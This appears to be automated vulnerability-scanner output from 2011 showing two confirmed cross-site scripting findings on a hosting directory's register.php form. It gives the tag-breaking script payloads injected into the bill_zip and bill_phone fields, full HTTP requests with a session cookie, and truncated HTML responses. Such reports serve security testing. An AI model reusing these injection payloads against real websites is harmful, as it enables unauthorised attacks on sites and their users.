https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST '"--></style></script><script>alert(0x001E02)</script>
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E02)%3c%2fscript%3e&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:19:09 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D236E351B7C730F5B3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D20A02D7804F2143FD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D263BC15778A64EDC2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2C3227D66A868349DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D26FBB07600F0ACFDB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D26BBB1B5B9A332E1CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D2CF5DFCB4D6408D1CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D2BD0F647A963E087C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D227D6D9F4FEC2E725C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D256BC97BBD50054EF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D279319E351BBDA92BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D2E76F9D64ECDE5580C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D2A3528CBD6B228C82C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2D314F21FD75C9A00C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D22317557903CBFCB6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D2A10958FDC418F05FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D2B557E03D0E69EE0B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D2A2CB9B9C22CC2E7E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D25141AE2D86AA09356F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST '"--></style></script><script>alert(0x001E12)</script>

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E12)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:19:21 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D2E364BF07061E64DEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D2E31E28D50B128F1F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D29FF700DEF6B61DF6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D23C8C3E1766F86232C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D2C0043C609C9E9F646F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D2F8A8E32157AEB94DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D20CF614C1550FC894C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D249A0740C69D302D66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D29BE573AEDC70B04FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D2BD11DC953DCB727A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D242E1C53C68C344D2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D273708EFF2879A9EBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D20ED372ED8B55B2F6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2A6B8571C934E6E78C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D2B7B8006A9C15FA21C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D25126FB743CE95117C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D2ABA7B3E4770ADAE36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D2F3D03D57AD64A1046F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D2C6193F045E8A09AA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
